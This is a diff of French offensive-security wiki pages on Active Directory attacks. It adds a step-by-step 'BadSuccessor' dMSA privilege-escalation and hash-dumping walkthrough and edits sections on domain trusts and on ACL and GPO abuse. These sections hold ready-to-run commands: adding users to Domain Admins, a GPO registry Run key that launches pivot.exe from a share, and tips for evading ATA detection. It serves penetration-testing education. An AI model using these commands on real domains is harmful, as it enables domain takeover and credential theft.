- **Confiances de Forêt** : Ce type de confiance est une confiance bidirectionnelle transitive entre deux domaines racines de forêt, appliquant également un filtrage SID pour renforcer les mesures de sécurité.
|
||||
- **Confiances MIT** : Ces confiances sont établies avec des domaines Kerberos conformes à [RFC4120](https://tools.ietf.org/html/rfc4120) non Windows. Les confiances MIT sont un peu plus spécialisées et s'adressent aux environnements nécessitant une intégration avec des systèmes basés sur Kerberos en dehors de l'écosystème Windows.
|
||||
- **Confiances MIT** : Ces confiances sont établies avec des domaines Kerberos non-Windows conformes à [RFC4120](https://tools.ietf.org/html/rfc4120). Les confiances MIT sont un peu plus spécialisées et s'adressent aux environnements nécessitant une intégration avec des systèmes basés sur Kerberos en dehors de l'écosystème Windows.
|
||||
|
||||
#### Autres différences dans les **relations de confiance**
|
||||
|
||||
@ -554,7 +554,7 @@ Les attaquants pourraient accéder aux ressources dans un autre domaine par troi
|
||||
|
||||
- **Membre de Groupe Local** : Les principaux pourraient être ajoutés à des groupes locaux sur des machines, comme le groupe "Administrateurs" sur un serveur, leur accordant un contrôle significatif sur cette machine.
|
||||
- **Membre de Groupe de Domaine Étranger** : Les principaux peuvent également être membres de groupes au sein du domaine étranger. Cependant, l'efficacité de cette méthode dépend de la nature de la confiance et de la portée du groupe.
|
||||
- **Listes de Contrôle d'Accès (ACLs)** : Les principaux pourraient être spécifiés dans une **ACL**, en particulier en tant qu'entités dans des **ACEs** au sein d'un **DACL**, leur fournissant un accès à des ressources spécifiques. Pour ceux qui souhaitent approfondir les mécanismes des ACLs, DACLs et ACEs, le document intitulé "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" est une ressource inestimable.
|
||||
- **Listes de Contrôle d'Accès (ACLs)** : Les principaux pourraient être spécifiés dans une **ACL**, en particulier en tant qu'entités dans des **ACE** au sein d'un **DACL**, leur fournissant un accès à des ressources spécifiques. Pour ceux qui souhaitent approfondir les mécanismes des ACL, DACL et ACE, le document intitulé "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" est une ressource inestimable.
|
||||
|
||||
### Trouver des utilisateurs/groupes externes avec des permissions
|
||||
|
||||
@ -568,7 +568,7 @@ Get-DomainForeignUser
|
||||
# Get groups inside a domain with users our
|
||||
Get-DomainForeignGroupMember
|
||||
```
|
||||
### Escalade de privilèges de l'enfant au parent dans la forêt
|
||||
### Élévation de privilèges de l'enfant au parent dans la forêt
|
||||
```bash
|
||||
# Fro powerview
|
||||
Get-DomainTrust
|
||||
@ -616,13 +616,13 @@ Comprendre comment le Contexte de Nommage de Configuration (NC) peut être explo
|
||||
|
||||
**Lier GPO au site DC racine**
|
||||
|
||||
Le conteneur Sites du NC de Configuration inclut des informations sur tous les sites des ordinateurs joints au domaine au sein de la forêt AD. En opérant avec des privilèges SYSTEM sur n'importe quel DC, les attaquants peuvent lier des GPO aux sites DC racine. Cette action compromet potentiellement le domaine racine en manipulant les politiques appliquées à ces sites.
|
||||
Le conteneur Sites du NC de Configuration inclut des informations sur tous les sites des ordinateurs joints au domaine au sein de la forêt AD. En opérant avec des privilèges SYSTEM sur n'importe quel DC, les attaquants peuvent lier des GPO aux sites DC racines. Cette action compromet potentiellement le domaine racine en manipulant les politiques appliquées à ces sites.
|
||||
|
||||
Pour des informations approfondies, on peut explorer des recherches sur [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
**Compromettre n'importe quel gMSA dans la forêt**
|
||||
|
||||
Un vecteur d'attaque consiste à cibler des gMSA privilégiés au sein du domaine. La clé racine KDS, essentielle pour calculer les mots de passe des gMSA, est stockée dans le NC de Configuration. Avec des privilèges SYSTEM sur n'importe quel DC, il est possible d'accéder à la clé racine KDS et de calculer les mots de passe pour n'importe quel gMSA à travers la forêt.
|
||||
Un vecteur d'attaque consiste à cibler les gMSA privilégiés au sein du domaine. La clé racine KDS, essentielle pour calculer les mots de passe des gMSA, est stockée dans le NC de Configuration. Avec des privilèges SYSTEM sur n'importe quel DC, il est possible d'accéder à la clé racine KDS et de calculer les mots de passe pour n'importe quel gMSA à travers la forêt.
|
||||
|
||||
Une analyse détaillée peut être trouvée dans la discussion sur [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
@ -669,7 +669,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
Dans ce scénario, **votre domaine** **fait confiance** à certains **privilèges** d'un principal d'un **domaine différent**.
|
||||
|
||||
Cependant, lorsqu'un **domaine est approuvé** par le domaine de confiance, le domaine approuvé **crée un utilisateur** avec un **nom prévisible** qui utilise comme **mot de passe le mot de passe approuvé**. Ce qui signifie qu'il est possible d'**accéder à un utilisateur du domaine de confiance pour entrer dans le domaine approuvé** afin de l'énumérer et d'essayer d'escalader plus de privilèges :
|
||||
Cependant, lorsqu'un **domaine est approuvé** par le domaine de confiance, le domaine approuvé **crée un utilisateur** avec un **nom prévisible** qui utilise comme **mot de passe le mot de passe approuvé**. Ce qui signifie qu'il est possible de **accéder à un utilisateur du domaine de confiance pour entrer dans le domaine approuvé** afin de l'énumérer et d'essayer d'escalader plus de privilèges :
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
@ -678,13 +678,13 @@ external-forest-domain-one-way-outbound.md
|
||||
Une autre façon de compromettre le domaine approuvé est de trouver un [**lien SQL de confiance**](abusing-ad-mssql.md#mssql-trusted-links) créé dans la **direction opposée** de la confiance de domaine (ce qui n'est pas très courant).
|
||||
|
||||
Une autre façon de compromettre le domaine approuvé est d'attendre sur une machine où un **utilisateur du domaine approuvé peut accéder** pour se connecter via **RDP**. Ensuite, l'attaquant pourrait injecter du code dans le processus de session RDP et **accéder au domaine d'origine de la victime** à partir de là.\
|
||||
De plus, si la **victime a monté son disque dur**, à partir du processus de session **RDP**, l'attaquant pourrait stocker des **backdoors** dans le **dossier de démarrage du disque dur**. Cette technique s'appelle **RDPInception.**
|
||||
De plus, si la **victime a monté son disque dur**, à partir du processus de session **RDP**, l'attaquant pourrait stocker des **backdoors** dans le **dossier de démarrage du disque dur**. Cette technique est appelée **RDPInception.**
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Atténuation de l'abus de confiance de domaine
|
||||
### Atténuation des abus de confiance de domaine
|
||||
|
||||
### **Filtrage SID :**
|
||||
|
||||
@ -716,7 +716,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
### **Mise en Œuvre de Techniques de Tromperie**
|
||||
|
||||
- La mise en œuvre de la tromperie implique de poser des pièges, comme des utilisateurs ou des ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou sont marqués comme de confiance pour la délégation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes de haute privilège.
|
||||
- La mise en œuvre de la tromperie implique de mettre en place des pièges, comme des utilisateurs ou des ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou sont marqués comme de confiance pour la délégation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes de haute privilège.
|
||||
- Un exemple pratique implique l'utilisation d'outils comme : `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Plus d'informations sur le déploiement de techniques de tromperie peuvent être trouvées sur [Deploy-Deception sur GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
@ -729,7 +729,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
- **Contournement de la Détection Microsoft ATA** :
|
||||
- **Énumération des Utilisateurs** : Éviter l'énumération de session sur les Contrôleurs de Domaine pour prévenir la détection par l'ATA.
|
||||
- **Impersonation de Ticket** : Utiliser des clés **aes** pour la création de tickets aide à échapper à la détection en évitant de rétrograder vers NTLM.
|
||||
- **Impersonation de Ticket** : Utiliser des clés **aes** pour la création de tickets aide à éviter la détection en ne rétrogradant pas à NTLM.
|
||||
- **Attaques DCSync** : Il est conseillé d'exécuter à partir d'un non-Contrôleur de Domaine pour éviter la détection par l'ATA, car une exécution directe à partir d'un Contrôleur de Domaine déclenchera des alertes.
|
||||
|
||||
## Références
|
||||
|
||||
@ -0,0 +1,67 @@
|
||||
# Abus des ACL/ACE Active Directory
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Aperçu
|
||||
|
||||
Les Comptes de Service Gérés Délégués (**dMSAs**) sont un tout nouveau type de principal AD introduit avec **Windows Server 2025**. Ils sont conçus pour remplacer les comptes de service hérités en permettant une "migration" en un clic qui copie automatiquement les Noms de Principal de Service (SPNs), les appartenances à des groupes, les paramètres de délégation, et même les clés cryptographiques de l'ancien compte vers le nouveau dMSA, offrant aux applications une transition transparente et éliminant le risque de Kerberoasting.
|
||||
|
||||
Des chercheurs d'Akamai ont découvert qu'un seul attribut — **`msDS‑ManagedAccountPrecededByLink`** — indique au KDC quel compte hérité un dMSA "succède". Si un attaquant peut écrire cet attribut (et basculer **`msDS‑DelegatedMSAState` → 2**), le KDC construira avec plaisir un PAC qui **hérite de chaque SID de la victime choisie**, permettant ainsi au dMSA d'usurper n'importe quel utilisateur, y compris les Administrateurs de Domaine.
|
||||
|
||||
## Qu'est-ce qu'un dMSA ?
|
||||
|
||||
* Basé sur la technologie **gMSA** mais stocké comme la nouvelle classe AD **`msDS‑DelegatedManagedServiceAccount`**.
|
||||
* Prend en charge une **migration opt-in** : appeler `Start‑ADServiceAccountMigration` lie le dMSA au compte hérité, accorde au compte hérité un accès en écriture à `msDS‑GroupMSAMembership`, et bascule `msDS‑DelegatedMSAState` = 1.
|
||||
* Après `Complete‑ADServiceAccountMigration`, le compte remplacé est désactivé et le dMSA devient pleinement fonctionnel ; tout hôte ayant précédemment utilisé le compte hérité est automatiquement autorisé à récupérer le mot de passe du dMSA.
|
||||
* Lors de l'authentification, le KDC intègre un indice **KERB‑SUPERSEDED‑BY‑USER** afin que les clients Windows 11/24H2 réessaient de manière transparente avec le dMSA.
|
||||
|
||||
## Exigences pour attaquer
|
||||
1. **Au moins un DC Windows Server 2025** afin que la classe LDAP dMSA et la logique KDC existent.
|
||||
2. **Tous droits de création d'objet ou d'écriture d'attribut sur une OU** (n'importe quelle OU) – par exemple, `Create msDS‑DelegatedManagedServiceAccount` ou simplement **Create All Child Objects**. Akamai a trouvé que 91 % des locataires du monde réel accordent de telles permissions "bénignes" sur les OU à des non-administrateurs.
|
||||
3. Capacité à exécuter des outils (PowerShell/Rubeus) depuis n'importe quel hôte joint au domaine pour demander des tickets Kerberos.
|
||||
*Aucun contrôle sur l'utilisateur victime n'est requis ; l'attaque ne touche jamais directement le compte cible.*
|
||||
|
||||
## Étape par étape : BadSuccessor*élévation de privilèges
|
||||
|
||||
1. **Localiser ou créer un dMSA que vous contrôlez**
|
||||
```bash
|
||||
New‑ADServiceAccount Attacker_dMSA `
|
||||
‑DNSHostName ad.lab `
|
||||
‑Path "OU=temp,DC=lab,DC=local"
|
||||
```
|
||||
|
||||
Parce que vous avez créé l'objet à l'intérieur d'une OU à laquelle vous pouvez écrire, vous possédez automatiquement tous ses attributs.
|
||||
|
||||
2. **Simuler une "migration terminée" en deux écritures LDAP** :
|
||||
- Définir `msDS‑ManagedAccountPrecededByLink = DN` de n'importe quelle victime (par exemple, `CN=Administrator,CN=Users,DC=lab,DC=local`).
|
||||
- Définir `msDS‑DelegatedMSAState = 2` (migration terminée).
|
||||
|
||||
Des outils comme **Set‑ADComputer, ldapmodify**, ou même **ADSI Edit** fonctionnent ; aucun droit d'administrateur de domaine n'est nécessaire.
|
||||
|
||||
3. **Demander un TGT pour le dMSA** — Rubeus prend en charge le drapeau `/dmsa` :
|
||||
|
||||
```bash
|
||||
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:<Machine TGT>
|
||||
```
|
||||
|
||||
Le PAC retourné contient maintenant le SID 500 (Administrateur) ainsi que les groupes Administrateurs de Domaine/Administrateurs d'Entreprise.
|
||||
|
||||
## Rassembler tous les mots de passe des utilisateurs
|
||||
|
||||
Lors des migrations légitimes, le KDC doit permettre au nouveau dMSA de déchiffrer **les tickets émis au compte ancien avant la transition**. Pour éviter de rompre les sessions en cours, il place à la fois les clés actuelles et les clés précédentes dans un nouveau blob ASN.1 appelé **`KERB‑DMSA‑KEY‑PACKAGE`**.
|
||||
|
||||
Parce que notre fausse migration prétend que le dMSA succède à la victime, le KDC copie fidèlement la clé RC4‑HMAC de la victime dans la liste des **clés précédentes** – même si le dMSA n'a jamais eu de mot de passe "précédent". Cette clé RC4 n'est pas salée, donc elle est effectivement le hachage NT de la victime, donnant à l'attaquant la capacité de **craquer hors ligne ou de "passer le hachage"**.
|
||||
|
||||
Ainsi, le lien massif de milliers d'utilisateurs permet à un attaquant de déverser des hachages "à grande échelle", transformant **BadSuccessor en un primitive d'élévation de privilèges et de compromission d'identifiants**.
|
||||
|
||||
## Outils
|
||||
|
||||
- [https://github.com/akamai/BadSuccessor](https://github.com/akamai/BadSuccessor)
|
||||
- [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
|
||||
- [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
|
||||
|
||||
## Références
|
||||
|
||||
- [https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@ -4,6 +4,12 @@
|
||||
|
||||
**Cette page est principalement un résumé des techniques de** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **et** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Pour plus de détails, consultez les articles originaux.**
|
||||
|
||||
## BadSuccesor
|
||||
|
||||
{{#ref}}
|
||||
BadSuccesor.md
|
||||
{{#endref}}
|
||||
|
||||
## **Droits GenericAll sur l'utilisateur**
|
||||
|
||||
Ce privilège accorde à un attaquant un contrôle total sur un compte utilisateur cible. Une fois les droits `GenericAll` confirmés à l'aide de la commande `Get-ObjectAcl`, un attaquant peut :
|
||||
@ -21,7 +27,7 @@ Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **Droits GenericAll sur le Groupe**
|
||||
|
||||
Ce privilège permet à un attaquant de manipuler les appartenances aux groupes s'il a des droits `GenericAll` sur un groupe comme `Domain Admins`. Après avoir identifié le nom distinctif du groupe avec `Get-NetGroup`, l'attaquant peut :
|
||||
Ce privilège permet à un attaquant de manipuler les appartenances aux groupes s'il a des droits `GenericAll` sur un groupe comme `Domain Admins`. Après avoir identifié le nom distingué du groupe avec `Get-NetGroup`, l'attaquant peut :
|
||||
|
||||
- **S'ajouter au Groupe des Domain Admins** : Cela peut être fait via des commandes directes ou en utilisant des modules comme Active Directory ou PowerSploit.
|
||||
```bash
|
||||
@ -44,7 +50,7 @@ Si un utilisateur a des droits `WriteProperty` sur tous les objets pour un group
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Auto (Auto-Membre) dans le Groupe**
|
||||
## **Auto (Auto-Membre) sur le Groupe**
|
||||
|
||||
Ce privilège permet aux attaquants de s'ajouter à des groupes spécifiques, tels que `Domain Admins`, via des commandes qui manipulent directement l'appartenance au groupe. L'utilisation de la séquence de commandes suivante permet l'auto-ajout :
|
||||
```bash
|
||||
@ -72,7 +78,7 @@ rpcclient -U KnownUsername 10.10.10.192
|
||||
```
|
||||
## **WriteOwner sur le groupe**
|
||||
|
||||
Si un attaquant découvre qu'il a des droits `WriteOwner` sur un groupe, il peut changer la propriété du groupe en sa faveur. Cela a un impact particulier lorsque le groupe en question est `Domain Admins`, car changer la propriété permet un contrôle plus large sur les attributs et l'appartenance du groupe. Le processus consiste à identifier l'objet correct via `Get-ObjectAcl` puis à utiliser `Set-DomainObjectOwner` pour modifier le propriétaire, soit par SID, soit par nom.
|
||||
Si un attaquant découvre qu'il a des droits `WriteOwner` sur un groupe, il peut changer la propriété du groupe en sa faveur. Cela a un impact particulier lorsque le groupe en question est `Domain Admins`, car changer la propriété permet un contrôle plus large sur les attributs et l'appartenance du groupe. Le processus implique d'identifier l'objet correct via `Get-ObjectAcl` puis d'utiliser `Set-DomainObjectOwner` pour modifier le propriétaire, soit par SID soit par nom.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
@ -96,7 +102,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
Posséder un objet AD et avoir des privilèges `WriteDACL` sur celui-ci permet à un attaquant de se donner des privilèges `GenericAll` sur l'objet. Cela est accompli par la manipulation ADSI, permettant un contrôle total sur l'objet et la capacité de modifier ses appartenances de groupe. Malgré cela, des limitations existent lors de l'exploitation de ces privilèges en utilisant les cmdlets `Set-Acl` / `Get-Acl` du module Active Directory.
|
||||
Posséder un objet AD et avoir des privilèges `WriteDACL` sur celui-ci permet à un attaquant de se donner des privilèges `GenericAll` sur l'objet. Cela est accompli par la manipulation ADSI, permettant un contrôle total sur l'objet et la capacité de modifier ses appartenances de groupe. Malgré cela, des limitations existent lors de la tentative d'exploiter ces privilèges en utilisant les cmdlets `Set-Acl` / `Get-Acl` du module Active Directory.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -124,6 +130,8 @@ Pour identifier les GPO mal configurés, les cmdlets de PowerSploit peuvent êtr
|
||||
|
||||
**OUs avec une Politique Donnée Appliquée** : Identifier les unités organisationnelles (OUs) affectées par une politique donnée peut être fait en utilisant `Get-DomainOU`.
|
||||
|
||||
Vous pouvez également utiliser l'outil [**GPOHound**](https://github.com/cogiceo/GPOHound) pour énumérer les GPO et trouver des problèmes dans celles-ci.
|
||||
|
||||
### Abuser GPO - New-GPOImmediateTask
|
||||
|
||||
Les GPO mal configurés peuvent être exploités pour exécuter du code, par exemple, en créant une tâche planifiée immédiate. Cela peut être fait pour ajouter un utilisateur au groupe des administrateurs locaux sur les machines affectées, élevant ainsi considérablement les privilèges :
|
||||
@ -137,7 +145,7 @@ Le module GroupPolicy, s'il est installé, permet la création et le lien de nou
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abus de GPO
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse offre une méthode pour abuser des GPO existants en ajoutant des tâches ou en modifiant des paramètres sans avoir besoin de créer de nouveaux GPO. Cet outil nécessite la modification des GPO existants ou l'utilisation des outils RSAT pour en créer de nouveaux avant d'appliquer des modifications :
|
||||
```bash
|
||||
@ -155,7 +163,7 @@ La structure de la tâche, comme indiqué dans le fichier de configuration XML g
|
||||
|
||||
### Utilisateurs et groupes
|
||||
|
||||
Les GPO permettent également la manipulation des appartenances des utilisateurs et des groupes sur les systèmes cibles. En modifiant directement les fichiers de politique des Utilisateurs et des Groupes, les attaquants peuvent ajouter des utilisateurs à des groupes privilégiés, tels que le groupe `administrateurs` local. Cela est possible grâce à la délégation des permissions de gestion des GPO, qui permet la modification des fichiers de politique pour inclure de nouveaux utilisateurs ou changer les appartenances aux groupes.
|
||||
Les GPO permettent également la manipulation des adhésions des utilisateurs et des groupes sur les systèmes cibles. En modifiant directement les fichiers de politique des Utilisateurs et des Groupes, les attaquants peuvent ajouter des utilisateurs à des groupes privilégiés, tels que le groupe `administrators` local. Cela est possible grâce à la délégation des permissions de gestion des GPO, qui permet la modification des fichiers de politique pour inclure de nouveaux utilisateurs ou changer les adhésions aux groupes.
|
||||
|
||||
Le fichier de configuration XML pour les Utilisateurs et les Groupes décrit comment ces changements sont mis en œuvre. En ajoutant des entrées à ce fichier, des utilisateurs spécifiques peuvent se voir accorder des privilèges élevés sur les systèmes affectés. Cette méthode offre une approche directe pour l'élévation des privilèges par la manipulation des GPO.
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user